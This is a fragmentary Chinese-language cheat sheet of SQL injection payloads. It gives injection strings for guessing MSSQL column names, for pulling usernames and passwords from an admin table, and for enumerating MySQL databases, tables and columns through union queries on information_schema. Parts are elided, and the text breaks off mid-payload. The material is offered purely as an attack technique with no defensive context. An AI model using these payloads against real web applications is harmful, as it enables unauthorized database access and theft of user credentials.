猜解列名:
得到col_name表中的第一个列名:
and (select top 1 col_name(object_id(‘字段’),1) from sysobjects)>0
猜解字段内容:
and...(select top 1 列名 from [表名])>0
如:
获取用户名:
and (select top 1 username from [admin])>0
获取密码:
and (select...id=-1 union select 1,2,3,4,5,6,7……
查库:
版本大于5.0的mysql的information_schema库中存储着mysql的所有数据库和表结构信息,所以可以利用information_schema...TABLE_SCHEMA=数据库名的十六进制 limit 0,1
获取数据库中第二个表名:
and 1=2 union select 1,2,3,TABLE_NAME,5,6,7,8,9,10 from...information_schema.TABLES where TABLE_SCHEMA=数据库名的十六进制 limit 1,2
查列:
获取数据库中指定表的第一个列名:
and 1=2 Union